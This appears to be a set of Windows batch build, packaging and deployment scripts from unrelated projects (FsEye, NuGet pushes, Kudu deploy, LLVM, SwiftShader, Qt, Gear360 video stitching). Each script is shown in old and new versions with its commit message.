del topojson\%3-regions.json
mapshaper -i shape-files\%1_adm\%1_adm%2.shp encoding=%5 -filter-fields ISO,NAME_0,NAME_1,VARNAME_1 -simplify %4%% -o topojson\%3-regions.json prettify format=topojson

Add makemap.cmd file for reference

Add makemap.cmd file for reference


set /p versionNumber=

REM clean up
del builds\FsEye-%versionNumber%.zip
rd /q /s builds\FsEye-%versionNumber%
rd /q /s builds\FsEye

REM preparing staging dir
mkdir staging
mkdir staging\plugins

copy LICENSE staging
copy NOTICE staging

copy FsEye\bin\Release\FsEye.fsx staging
copy FsEye\bin\Release\FsEye.dll staging
copy FsEye\bin\Release\FsEye.xml staging

copy "FsEye.PropertyGrid.Plugin\bin\Release\FsEye.PropertyGrid.Plugin.dll" staging\plugins
copy "FsEye.TreeView.Plugin\bin\Release\FsEye.TreeView.Plugin.dll" staging\plugins
copy "FsEye.DataGridView.Plugin\bin\Release\FsEye.DataGridView.Plugin.dll" staging\plugins

REM zip staging files
cd staging
"..\tools\7z\7za.exe" a -tzip "..\builds\FsEye-%versionNumber%.zip" *
cd ..

REM extract build
"tools\7z\7za.exe" x "builds\FsEye-%versionNumber%.zip" -o"builds\FsEye-%versionNumber%"
"tools\7z\7za.exe" x "builds\FsEye-%versionNumber%.zip" -o"builds\FsEye"

REM clean up
rd /q /s staging

pause

set /p versionNumber=

REM clean up
del builds\FsEye-%versionNumber%.zip
del builds\FsEye.%versionNumber%.nupkg
rd /q /s builds\FsEye-%versionNumber%
rd /q /s builds\FsEye

REM preparing staging dir
mkdir staging
mkdir staging\plugins

copy LICENSE staging
copy NOTICE staging

copy FsEye\bin\Release\FsEye.fsx staging
copy FsEye\bin\Release\FsEye.dll staging
copy FsEye\bin\Release\FsEye.xml staging

copy "FsEye.PropertyGrid.Plugin\bin\Release\FsEye.PropertyGrid.Plugin.dll" staging\plugins
copy "FsEye.TreeView.Plugin\bin\Release\FsEye.TreeView.Plugin.dll" staging\plugins
copy "FsEye.DataGridView.Plugin\bin\Release\FsEye.DataGridView.Plugin.dll" staging\plugins

REM zip staging files
cd staging
"..\tools\7z\7za.exe" a -tzip "..\builds\FsEye-%versionNumber%.zip" *
cd ..

REM extract build
"tools\7z\7za.exe" x "builds\FsEye-%versionNumber%.zip" -o"builds\FsEye-%versionNumber%"
"tools\7z\7za.exe" x "builds\FsEye-%versionNumber%.zip" -o"builds\FsEye"

REM preparing nuget dirs

mkdir nuget
mkdir nuget\lib
mkdir nuget\lib\net40
copy FsEye.nuspec nuget

REM copy staging builds to nuget package...

copy staging\FsEye.dll nuget\lib\net40\FsEye.dll
copy staging\plugins\* nuget\lib\net40\
copy staging\FsEye.xml nuget\lib\net40\FsEye.xml

REM create nuget package...

".nuget\nuget.exe" pack nuget\FsEye.nuspec -Version %versionNumber%
copy FsEye.%versionNumber%.nupkg builds
del FsEye.%versionNumber%.nupkg

REM cleanup...

rd /q /s staging
rd /q /s nuget

pause

modify package script to build nuget package


@echo off
pushd "%~dp0"

if exist RedistPackages rd /s /q RedistPackages
if not exist RedistPackages\libs mkdir RedistPackages\libs

set projectname=ClouDeveloper.OpenAPI.KolisNet
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release

set projectname=ClouDeveloper.OpenAPI.TED
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release

set projectname=ClouDeveloper.OpenAPI.Naver
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release

.nuget\NuGet.exe push RedistPackages\libs\ClouDeveloper.OpenAPI.*.nupkg
start RedistPackages

popd
@echo on

@echo off
pushd "%~dp0"

if exist RedistPackages rd /s /q RedistPackages
if not exist RedistPackages\libs mkdir RedistPackages\libs

set projectname=ClouDeveloper.OpenAPI.KolisNet
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release
.nuget\NuGet.exe push RedistPackages\libs\%projectname%.*.nupkg

set projectname=ClouDeveloper.OpenAPI.TED
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release
.nuget\NuGet.exe push RedistPackages\libs\%projectname%.*.nupkg

set projectname=ClouDeveloper.OpenAPI.Naver
.nuget\nuget.exe pack %projectname%\%projectname%.csproj -Build -Symbols -IncludeReferencedProjects -OutputDirectory "RedistPackages\libs" -Properties configuration=Release
.nuget\NuGet.exe push RedistPackages\libs\%projectname%.*.nupkg

start RedistPackages

popd
@echo on

modify buildpackages.cmd to push each release package.


set PATH=%PATH%;%WIX%\bin
heat dir ../Release -gg -srd -cg 3RVXComponents -dr INSTALLFOLDER -out 3RVXComponents.wxs
candle ./3RVX.wxs ./3RVXComponents.wxs
light -b ../Release -ext WixUIExtension ./3RVX.wixobj ./3RVXComponents.wixobj -o 3RVX.msi
del 3RVX.wixobj 3RVX.wixpdb 3RVXComponents.wixobj cab1.cab

Add install generator script

Add install generator script


cat src/* | coffee --compile --stdio | tee generated_bundle.js | clip

add script to build .js and copy to clipboard


@if "%SCM_TRACE_LEVEL%" NEQ "4" @echo off

:: ----------------------
:: KUDU Deployment Script
:: Version: 1.0.13
:: ----------------------

:: Prerequisites
:: -------------

:: Verify node.js installed
where node 2>nul >nul
IF %ERRORLEVEL% NEQ 0 (
  echo Missing node.js executable, please install node.js, if already installed make sure it can be reached from current environment.
  goto error
)

:: Setup
:: -----

setlocal enabledelayedexpansion

SET ARTIFACTS=%~dp0%..\artifacts

IF NOT DEFINED DEPLOYMENT_SOURCE (
  SET DEPLOYMENT_SOURCE=%~dp0%.
)

IF NOT DEFINED DEPLOYMENT_TARGET (
  SET DEPLOYMENT_TARGET=%ARTIFACTS%\wwwroot
)

IF NOT DEFINED NEXT_MANIFEST_PATH (
  SET NEXT_MANIFEST_PATH=%ARTIFACTS%\manifest

  IF NOT DEFINED PREVIOUS_MANIFEST_PATH (
    SET PREVIOUS_MANIFEST_PATH=%ARTIFACTS%\manifest
  )
)

IF NOT DEFINED KUDU_SYNC_CMD (
  :: Install kudu sync
  echo Installing Kudu Sync
  call npm install kudusync -g --silent
  IF !ERRORLEVEL! NEQ 0 goto error

  :: Locally just running "kuduSync" would also work
  SET KUDU_SYNC_CMD=%appdata%\npm\kuduSync.cmd
)
goto Deployment

:: Utility Functions
:: -----------------

:SelectNodeVersion

IF DEFINED KUDU_SELECT_NODE_VERSION_CMD (
  :: The following are done only on Windows Azure Websites environment
  call %KUDU_SELECT_NODE_VERSION_CMD% "%DEPLOYMENT_SOURCE%" "%DEPLOYMENT_TARGET%" "%DEPLOYMENT_TEMP%"
  IF !ERRORLEVEL! NEQ 0 goto error

  IF EXIST "%DEPLOYMENT_TEMP%\__nodeVersion.tmp" (
    SET /p NODE_EXE=<"%DEPLOYMENT_TEMP%\__nodeVersion.tmp"
    IF !ERRORLEVEL! NEQ 0 goto error
  )

  IF EXIST "%DEPLOYMENT_TEMP%\__npmVersion.tmp" (
    SET /p NPM_JS_PATH=<"%DEPLOYMENT_TEMP%\__npmVersion.tmp"
    IF !ERRORLEVEL! NEQ 0 goto error
  )

  IF NOT DEFINED NODE_EXE (
    SET NODE_EXE=node
  )

  SET NPM_CMD="!NODE_EXE!" "!NPM_JS_PATH!"
) ELSE (
  SET NPM_CMD=npm
  SET NODE_EXE=node
)

goto :EOF

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: Deployment
:: ----------

:Deployment
echo Handling node.js deployment.

:: 1. Webpack Build
IF EXIST "%DEPLOYMENT_SOURCE%\webpack.config.js" (
  echo Installing node modules dev/prod
  pushd "%DEPLOYMENT_SOURCE%"
  call npm install --only=prod
  call npm install --only=dev
  REM call npm install webpack -g
  echo Running webpack build
  call npm run build
  popd
  IF !ERRORLEVEL! NEQ 0 goto error
  echo Finished webpack build
)

:: 2. KuduSync
IF /I "%IN_PLACE_DEPLOYMENT%" NEQ "1" (
  call :ExecuteCmd "%KUDU_SYNC_CMD%" -v 50 -f "%DEPLOYMENT_SOURCE%" -t "%DEPLOYMENT_TARGET%" -n "%NEXT_MANIFEST_PATH%" -p "%PREVIOUS_MANIFEST_PATH%" -i ".git;.hg;.deployment;deploy.cmd;node_modules"
  IF !ERRORLEVEL! NEQ 0 goto error
)

:: 3. Select node version
call :SelectNodeVersion

:: 4. Install npm packages
IF EXIST "%DEPLOYMENT_TARGET%\package.json" (
  pushd "%DEPLOYMENT_TARGET%"
  call :ExecuteCmd !NPM_CMD! install --production
  IF !ERRORLEVEL! NEQ 0 goto error
  popd
)

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
goto end

:: Execute command routine that will echo out when error
:ExecuteCmd
setlocal
set _CMD_=%*
call %_CMD_%
if "%ERRORLEVEL%" NEQ "0" echo Failed exitCode=%ERRORLEVEL%, command=%_CMD_%
exit /b %ERRORLEVEL%

:error
endlocal
echo An error has occurred during web site deployment.
call :exitSetErrorLevel
call :exitFromFunction 2>nul

:exitSetErrorLevel
exit /b 1

:exitFromFunction
()

:end
endlocal
echo Finished successfully.

@if "%SCM_TRACE_LEVEL%" NEQ "4" @echo off

:: ----------------------
:: KUDU Deployment Script
:: Version: 1.0.13
:: ----------------------

:: Prerequisites
:: -------------

:: Verify node.js installed
where node 2>nul >nul
IF %ERRORLEVEL% NEQ 0 (
  echo Missing node.js executable, please install node.js, if already installed make sure it can be reached from current environment.
  goto error
)

:: Setup
:: -----

setlocal enabledelayedexpansion

SET ARTIFACTS=%~dp0%..\artifacts

IF NOT DEFINED DEPLOYMENT_SOURCE (
  SET DEPLOYMENT_SOURCE=%~dp0%.
)

IF NOT DEFINED DEPLOYMENT_TARGET (
  SET DEPLOYMENT_TARGET=%ARTIFACTS%\wwwroot
)

IF NOT DEFINED NEXT_MANIFEST_PATH (
  SET NEXT_MANIFEST_PATH=%ARTIFACTS%\manifest

  IF NOT DEFINED PREVIOUS_MANIFEST_PATH (
    SET PREVIOUS_MANIFEST_PATH=%ARTIFACTS%\manifest
  )
)

IF NOT DEFINED KUDU_SYNC_CMD (
  :: Install kudu sync
  echo Installing Kudu Sync
  call npm install kudusync -g --silent
  IF !ERRORLEVEL! NEQ 0 goto error

  :: Locally just running "kuduSync" would also work
  SET KUDU_SYNC_CMD=%appdata%\npm\kuduSync.cmd
)
goto Deployment

:: Utility Functions
:: -----------------

:SelectNodeVersion

IF DEFINED KUDU_SELECT_NODE_VERSION_CMD (
  :: The following are done only on Windows Azure Websites environment
  call %KUDU_SELECT_NODE_VERSION_CMD% "%DEPLOYMENT_SOURCE%" "%DEPLOYMENT_TARGET%" "%DEPLOYMENT_TEMP%"
  IF !ERRORLEVEL! NEQ 0 goto error

  IF EXIST "%DEPLOYMENT_TEMP%\__nodeVersion.tmp" (
    SET /p NODE_EXE=<"%DEPLOYMENT_TEMP%\__nodeVersion.tmp"
    IF !ERRORLEVEL! NEQ 0 goto error
  )

  IF EXIST "%DEPLOYMENT_TEMP%\__npmVersion.tmp" (
    SET /p NPM_JS_PATH=<"%DEPLOYMENT_TEMP%\__npmVersion.tmp"
    IF !ERRORLEVEL! NEQ 0 goto error
  )

  IF NOT DEFINED NODE_EXE (
    SET NODE_EXE=node
  )

  SET NPM_CMD="!NODE_EXE!" "!NPM_JS_PATH!"
) ELSE (
  SET NPM_CMD=npm
  SET NODE_EXE=node
)

goto :EOF

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: Deployment
:: ----------

:Deployment
echo Handling node.js deployment.

:: 1. Webpack Build
IF EXIST "%DEPLOYMENT_SOURCE%\webpack.config.js" (
  echo Installing node modules dev/prod
  pushd "%DEPLOYMENT_SOURCE%"
  call npm install --only=prod
  call npm install --only=dev
  REM call npm install webpack -g
  echo Running webpack build
  call npm run build
  popd
  IF !ERRORLEVEL! NEQ 0 goto error
  echo Finished webpack build
)

:: 2. KuduSync
IF /I "%IN_PLACE_DEPLOYMENT%" NEQ "1" (
  call :ExecuteCmd "%KUDU_SYNC_CMD%" -v 50 -f "%DEPLOYMENT_SOURCE%" -t "%DEPLOYMENT_TARGET%" -n "%NEXT_MANIFEST_PATH%" -p "%PREVIOUS_MANIFEST_PATH%" -i ".git;.hg;.deployment;deploy.cmd;node_modules;.vue;webpack.config.js"
  IF !ERRORLEVEL! NEQ 0 goto error
)

:: 3. Select node version
call :SelectNodeVersion

:: 4. Install npm packages
IF EXIST "%DEPLOYMENT_TARGET%\package.json" (
  pushd "%DEPLOYMENT_TARGET%"
  call :ExecuteCmd !NPM_CMD! install --production
  IF !ERRORLEVEL! NEQ 0 goto error
  popd
)

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
goto end

:: Execute command routine that will echo out when error
:ExecuteCmd
setlocal
set _CMD_=%*
call %_CMD_%
if "%ERRORLEVEL%" NEQ "0" echo Failed exitCode=%ERRORLEVEL%, command=%_CMD_%
exit /b %ERRORLEVEL%

:error
endlocal
echo An error has occurred during web site deployment.
call :exitSetErrorLevel
call :exitFromFunction 2>nul

:exitSetErrorLevel
exit /b 1

:exitFromFunction
()

:end
endlocal
echo Finished successfully.

fix deploy.cmd - ignore scr files

fix deploy.cmd - ignore scr files


Add release command.

Add release command.


mkdir build
cd build

set BUILD_CONFIG=Release

REM === Configure step ===

REM allow setting the targets to build as an environment variable
if "%LLVM_TARGETS_TO_BUILD%"=="" (
    set "LLVM_TARGETS_TO_BUILD=host;AMDGPU;NVPTX"
)
if "%ARCH%"=="32" (
    set "ARCH_POSTFIX="
) else (
    set "ARCH_POSTFIX= Win64"
)
set "CMAKE_GENERATOR[0]=Visual Studio 14 2015%ARCH_POSTFIX%"
set "CMAKE_GENERATOR[1]=Visual Studio 15 2017%ARCH_POSTFIX%"
set "CMAKE_GENERATOR[2]=Visual Studio 16 2019"
set MAX_INDEX_CMAKE_GENERATOR=2
set CMAKE_GENERATOR_TOOLSET=v141

REM the platform toolset host arch is set to x64 so as to use the 64bit linker,
REM the 32bit linker heap is too small for llvm8 so it tries and falls over to
REM the 64bit linker anyway
set PreferredToolArchitecture=x64

REM Reduce build times and package size by removing unused stuff
REM BENCHMARKS (new for llvm8) don't build under Visual Studio 14 2015
set CMAKE_CUSTOM=-DLLVM_TARGETS_TO_BUILD="%LLVM_TARGETS_TO_BUILD%" ^
    -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_UTILS=ON -DLLVM_INCLUDE_DOCS=OFF ^
    -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_ENABLE_ASSERTIONS=ON ^
    -DLLVM_USE_INTEL_JITEVENTS=ON ^
    -DLLVM_INCLUDE_BENCHMARKS=OFF ^
    -DLLVM_ENABLE_DIA_SDK=OFF ^
    -DLLVM_EXPERIMENTAL_TARGETS_TO_BUILD=WebAssembly

REM try all compatible visual studio toolsets to find one that is installed
setlocal enabledelayedexpansion
for /l %%n in (0,1,%MAX_INDEX_CMAKE_GENERATOR%) do (
    cmake -G "!CMAKE_GENERATOR[%%n]!" -T "%CMAKE_GENERATOR_TOOLSET%" ^
        -DCMAKE_BUILD_TYPE="%BUILD_CONFIG%" -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
        -DCMAKE_INSTALL_PREFIX:PATH="%LIBRARY_PREFIX%" %CMAKE_CUSTOM% "%SRC_DIR%"
    if not errorlevel 1 goto configuration_successful
    del CMakeCache.txt
)

REM no compatible visual studio toolset was found

:configuration_successful
endlocal
REM === Build step ===
cmake --build . --config "%BUILD_CONFIG%"
if errorlevel 1 exit 1

REM === Install step ===
cmake --build . --config "%BUILD_CONFIG%" --target install
if errorlevel 1 exit 1

REM From: https://github.com/conda-forge/llvmdev-feedstock/pull/53
"%BUILD_CONFIG%\bin\opt" -S -vector-library=SVML -mcpu=haswell -O3 "%RECIPE_DIR%\numba-3016.ll" | "%BUILD_CONFIG%\bin\FileCheck" "%RECIPE_DIR%\numba-3016.ll"
if errorlevel 1 exit 1

REM This is technically how to run the suite, but it will only run in an
REM enhanced unix-like shell which has functions like `grep` available.
REM cd ..\test
REM "%PYTHON%" "..\build\%BUILD_CONFIG%\bin\llvm-lit.py" -vv Transforms ExecutionEngine Analysis CodeGen/X86
REM if errorlevel 1 exit 1

mkdir build
cd build

set BUILD_CONFIG=Release

REM === Configure step ===

REM allow setting the targets to build as an environment variable
if "%LLVM_TARGETS_TO_BUILD%"=="" (
    set "LLVM_TARGETS_TO_BUILD=host;AMDGPU;NVPTX"
)
set CMAKE_GENERATOR="Visual Studio 16 2019"
set CMAKE_GENERATOR_TOOLSET="v141"

REM Reduce build times and package size by removing unused stuff
set CMAKE_CUSTOM=-DLLVM_TARGETS_TO_BUILD="%LLVM_TARGETS_TO_BUILD%" ^
    -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_UTILS=ON -DLLVM_INCLUDE_DOCS=OFF ^
    -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_ENABLE_ASSERTIONS=ON ^
    -DLLVM_USE_INTEL_JITEVENTS=ON ^
    -DLLVM_INCLUDE_BENCHMARKS=OFF ^
    -DLLVM_ENABLE_DIA_SDK=OFF ^
    -DLLVM_EXPERIMENTAL_TARGETS_TO_BUILD=WebAssembly

cmake -G "%CMAKE_GENERATOR%" -T "%CMAKE_GENERATOR_TOOLSET%" ^
    -DCMAKE_BUILD_TYPE="%BUILD_CONFIG%" -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
    -DCMAKE_INSTALL_PREFIX:PATH="%LIBRARY_PREFIX%" %CMAKE_CUSTOM% "%SRC_DIR%"

REM === Build step ===
cmake --build . --config "%BUILD_CONFIG%"
if errorlevel 1 exit 1

REM === Install step ===
cmake --build . --config "%BUILD_CONFIG%" --target install
if errorlevel 1 exit 1

REM From: https://github.com/conda-forge/llvmdev-feedstock/pull/53
"%BUILD_CONFIG%\bin\opt" -S -vector-library=SVML -mcpu=haswell -O3 "%RECIPE_DIR%\numba-3016.ll" | "%BUILD_CONFIG%\bin\FileCheck" "%RECIPE_DIR%\numba-3016.ll"
if errorlevel 1 exit 1

REM This is technically how to run the suite, but it will only run in an
REM enhanced unix-like shell which has functions like `grep` available.
REM cd ..\test
REM "%PYTHON%" "..\build\%BUILD_CONFIG%\bin\llvm-lit.py" -vv Transforms ExecutionEngine Analysis CodeGen/X86
REM if errorlevel 1 exit 1

experimental: simplify script to use only Visual Studio 16 2019


REM Run from anywhere, project root or bin folder. E.g. (from root):
REM   bin\kill-drivers
tasklist | find /i "driver" && taskkill /f /im "chromedriver.exe" && taskkill /f /im "IEDriverServer.exe"

@echo off
REM Run from anywhere, project root or bin folder. E.g. (from root):
REM   bin\kill-drivers
tasklist | findstr /i "driver phantomjs"
taskkill /f /im "chromedriver.exe"
taskkill /f /im "IEDriverServer.exe"
taskkill /f /im "phantomjs.exe"

Make sure all taskkills fire.

Make sure all taskkills fire.


@call set_vars.bat
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Charts.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Core.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Gui.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Network.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Widgets.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\libgcc_s_dw2-1.dll %ROOTPATH%\release\
copy "%QTDIR%\5.8\mingw53_32\bin\libstdc++-6.dll" %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\libwinpthread-1.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\plugins\iconengines\qsvgicon.dll %ROOTPATH%\release\iconengines\qsvgicon.dll
copy %QTDIR%\5.8\mingw53_32\plugins\imageformats\qsvg.dll %ROOTPATH%\release\imageformats\qsvg.dll
copy %QTDIR%\5.8\mingw53_32\plugins\platforms\qwindows.dll %ROOTPATH%\release\platforms\qwindows.dll
@if not "%RUNALL%"=="1" pause

@call set_vars.bat
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Charts.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Core.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Gui.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Network.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\Qt5Widgets.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\libgcc_s_dw2-1.dll %ROOTPATH%\release\
copy "%QTDIR%\5.8\mingw53_32\bin\libstdc++-6.dll" %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\bin\libwinpthread-1.dll %ROOTPATH%\release\
copy %QTDIR%\5.8\mingw53_32\plugins\iconengines\qsvgicon.dll %ROOTPATH%\release\iconengines\qsvgicon.dll
copy %QTDIR%\5.8\mingw53_32\plugins\imageformats\qsvg.dll %ROOTPATH%\release\imageformats\qsvg.dll
copy %QTDIR%\5.8\mingw53_32\plugins\platforms\qwindows.dll %ROOTPATH%\release\platforms\qwindows.dll
copy %QTDIR%\Tools\mingw530_32\opt\bin\libeay32.dll %ROOTPATH%\release\libeay32.dll
copy %QTDIR%\Tools\mingw530_32\opt\bin\ssleay32.dll %ROOTPATH%\release\ssleay32.dll
@if not "%RUNALL%"=="1" pause

Add 2 required dlls to release

Add 2 required dlls to release


@echo on

SETLOCAL ENABLEDELAYEDEXPANSION

SET PATH=C:\python36;C:\Program Files\cmake\bin;%PATH%
set SRC=%cd%\git\SwiftShader

cd %SRC%
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

git submodule update --init
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

SET MSBUILD="C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin\MSBuild"
SET CONFIG=Debug

cd %SRC%\build
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

cmake .. -G "Visual Studio 15 2017 Win64" -Thost=x64 "-DREACTOR_BACKEND=%REACTOR_BACKEND%" "-DREACTOR_VERIFY_LLVM_IR=1"
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

%MSBUILD% /p:Configuration=%CONFIG% SwiftShader.sln
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

REM Run the unit tests. Some must be run from project root
cd %SRC%
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!
SET SWIFTSHADER_DISABLE_DEBUGGER_WAIT_DIALOG=1

build\Debug\gles-unittests.exe
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

IF NOT "%REACTOR_BACKEND%"=="Subzero" (
    REM Currently vulkan does not work with Subzero.
    build\Debug\vk-unittests.exe
    if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!
)

@echo on

SETLOCAL ENABLEDELAYEDEXPANSION

SET PATH=C:\python36;C:\Program Files\cmake\bin;%PATH%
set SRC=%cd%\git\SwiftShader

cd %SRC%
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

git submodule update --init
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

SET MSBUILD="C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin\MSBuild"
SET CONFIG=Debug

cd %SRC%\build
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

cmake .. -G "Visual Studio 15 2017 Win64" -Thost=x64 "-DREACTOR_BACKEND=%REACTOR_BACKEND%" "-DREACTOR_VERIFY_LLVM_IR=1"
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

%MSBUILD% /p:Configuration=%CONFIG% SwiftShader.sln
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

REM Run the unit tests. Some must be run from project root
cd %SRC%
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!
SET SWIFTSHADER_DISABLE_DEBUGGER_WAIT_DIALOG=1

build\Debug\ReactorUnitTests.exe
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

build\Debug\gles-unittests.exe
if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!

IF NOT "%REACTOR_BACKEND%"=="Subzero" (
    REM Currently vulkan does not work with Subzero.
    build\Debug\vk-unittests.exe
    if !ERRORLEVEL! neq 0 exit /b !ERRORLEVEL!
)

Kokoro: Add ReactorUnitTests to windows presubmits

This appears to be accidentally missing.

Bug: b/145836207
Change-Id: Iaeb71c362f3b8450f91355e8d1f16c8d58c56548
Reviewed-on: https://swiftshader-review.googlesource.com/c/SwiftShader/+/39108
Tested-by: Ben Clayton <1f693eb7158dc33015048c09d6712f74dabddf79@google.com>
Kokoro-Presubmit: kokoro <2ac7b1f3fa578934c95181d4272be0d3bca00121@google.com>
Reviewed-by: Nicolas Capens <51edc787c30f24c4904e8ffbb5523c3a9f7a451d@google.com>


:<<"::IGNORE_THIS_LINE"
@ECHO OFF
GOTO :CMDSCRIPT
::IGNORE_THIS_LINE

# This is a small script to stitch panorama videos produced
# by Samsung Gear360
#
# TODOs:
# - output file name is currently static
# - add check for gear360pano script
# - ffmpeg and jpg or png?
#
# Trick with Win/Linux from here:
# http://stackoverflow.com/questions/17510688/single-script-to-run-in-both-windows-batch-and-linux-bash

################################ Linux part here

# http://stackoverflow.com/questions/59895/can-a-bash-script-tell-which-directory-it-is-stored-in
DIR=$(dirname `which $0`)

# Clean-up function
clean_up() {
    echo "Removing temporary directories..."
    if [ -d "$FRAMESTEMPDIR" ]; then
        rm -rf "$FRAMESTEMPDIR"
    fi
    if [ -d "$OUTTEMPDIR" ]; then
        rm -rf "$OUTTEMPDIR"
    fi
}

# Function to check if a command fails
# http://stackoverflow.com/questions/5195607/checking-bash-exit-status-of-several-commands-efficiently
run_command() {
    "$@"
    local status=$?
    if [ $status -ne 0 ]; then
        echo "Error while running $1" >&2
        if [ $1 != "notify-send" ]; then
           # Display error in a nice graphical popup if available
           run_command notify-send -a $0 "Error while running $1"
        fi
        clean_up
        exit 1
    fi
    return $status
}

# Do stuff to make this thing run on various POSIX operating systems
# http://stackoverflow.com/questions/3466166/how-to-check-if-running-in-cygwin-mac-or-linux
os_check() {
    case "$(uname -s)" in

    Darwin)
        ;;

    Linux)
        ;;

    CYGWIN*|MINGW32*|MSYS*)
        # Naive approach, should read Hugin installation
        # path from registry or something...
        export PATH=$PATH:"/cygdrive/c/Program Files (x86)/Hugin/bin":"/cygdrive/c/Program Files/Hugin/bin"
        ;;
    *)
        ;;
    esac
}

# Check argument(s)
if [ -z "$1" ]; then
    echo "Small script to stitch panoramic videos."
    echo -e "Script originally writen for Samsung Gear 360.\n"
    echo -e "Usage:\n$0 inputdir [outputfile]\n"
    echo "Where inputfile is a panoramic video file,"
    echo "output parameter is optional."
    run_command notify-send -a $0 "Please provide an input file."
    sleep 2
    exit 1
fi

# Output name as second argument
if [ -z "$2" ]; then
    # If invoked by nautilus open-with, we need to remember the proper directory in the outname
    OUTNAME=`dirname "$1"`/`basename "${1%.*}"`_pano.mp4
    echo "DEBUG: output filename: $OUTNAME"
fi

# OS check, custom settings for various OSes
os_check

# Check if we have the software to do it
# http://stackoverflow.com/questions/592620/check-if-a-program-exists-from-a-bash-script
type ffmpeg >/dev/null 2>&1 || { echo >&2 "ffmpeg required but it's not installed. Aborting."; exit 1; }
# TODO: add check for gear360pano.cmd script

# On some systems not using '-p .' (temp in current dir) might cause problems
FRAMESTEMPDIR=`mktemp -d -p .`
OUTTEMPDIR=`mktemp -d`
IMAGETMPL="image%05d.jpg"
IMAGETMPLENC="image%05d_pano.jpg"
PTOTMPL="gear360video.pto"
TMPAUDIO="tmpaudio.aac"
TMPVIDEO="tmpvideo.mp4"
STARTTS=`date +%s`

# Extract frames from video
run_command notify-send -a $0 "Starting panoramic video stitching..."
echo "Extracting frames from video (this might take a while)..."
run_command ffmpeg -y -i "$1" "$FRAMESTEMPDIR/$IMAGETMPL"

# Stitch frames
echo "Stitching frames..."
for i in $FRAMESTEMPDIR/*.jpg; do
    echo Frame: $i
    run_command "/bin/bash" "$DIR/gear360pano.cmd" "-o" "$OUTTEMPDIR" "$i" "$PTOTMPL"
done

# Put stitched frames together
echo "Recoding the video..."
run_command ffmpeg -y -f image2 -i "$OUTTEMPDIR/$IMAGETMPLENC" -r 30 -s 3840:1920 -vcodec libx264 "$OUTTEMPDIR/$TMPVIDEO"

echo "Extracting audio..."
run_command notify-send -a $0 "Extracting audio..."
run_command ffmpeg -y -i "$1" -vn -acodec copy "$OUTTEMPDIR/$TMPAUDIO"

echo "Merging audio..."
run_command notify-send -a $0 "Merging audio..."
run_command ffmpeg -y -i "$OUTTEMPDIR/$TMPVIDEO" -i "$OUTTEMPDIR/$TMPAUDIO" -c:v copy -c:a aac -strict experimental "$OUTNAME"

# Remove temporary directories
clean_up

# Inform user about the result
ENDTS=`date +%s`
RUNTIME=$((ENDTS-STARTTS))
echo Video written to $OUTNAME, took: $RUNTIME s
run_command notify-send -a $0 "'Conversion complete. Video written to $OUTNAME, took: $RUNTIME s'"
exit 0

################################ Windows part here

